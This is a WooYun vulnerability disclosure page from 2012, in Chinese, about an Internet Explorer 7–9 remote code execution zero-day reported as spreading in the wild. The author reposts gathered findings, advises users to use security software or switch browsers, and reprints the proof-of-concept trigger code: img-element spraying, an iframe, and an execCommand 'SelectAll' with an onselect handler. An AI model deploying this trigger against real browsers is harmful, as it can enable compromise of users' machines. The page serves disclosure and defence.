当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-012336

漏洞标题：IE利用代码已经地下扩散

相关厂商：微软

漏洞作者： 路人甲

提交时间：2012-09-18 11:31

修复时间：2012-09-18 11:31

公开时间：2012-09-18 11:31

漏洞类型：远程代码执行

危害等级：低

自评Rank：4

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-09-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

也是在别的地方看到的组装起来的，已经有很多人分析，转到这里

详细说明：

最原始的来源于这个外国人的，也是捕捉到的代码http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/
国内也已经有人分析了，影响ie7,ie8,ie9，可以使用一些第三方安全软件防止被利用，或者暂时使用其他的浏览器如chrome

<script> 
var times=0; 
var jifud =new Array(); 
while(times <100){ 
jifud[times] = window.document.createElement("img"); 
jifud[times]["src"]="a"; 
times++; 
} 
</script> 
<iframe src='protect.html'></iframe>


<script> 
function SubtleArr(){ 
document.execCommand('SelectAll'); 
} 
function TestArray(){ 
f=1; 
if(f==1) 
{ 
document.write("L"); 
} 
var L=0; 
while(L<99){ 
parent.jifud[L].src= "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; ++L; 
} 
} 
</script> 
<body onload='SubtleArr();'onselect='TestArray()'> 
<div contenteditable='true'> 
      a 
</div> 
<body>


漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝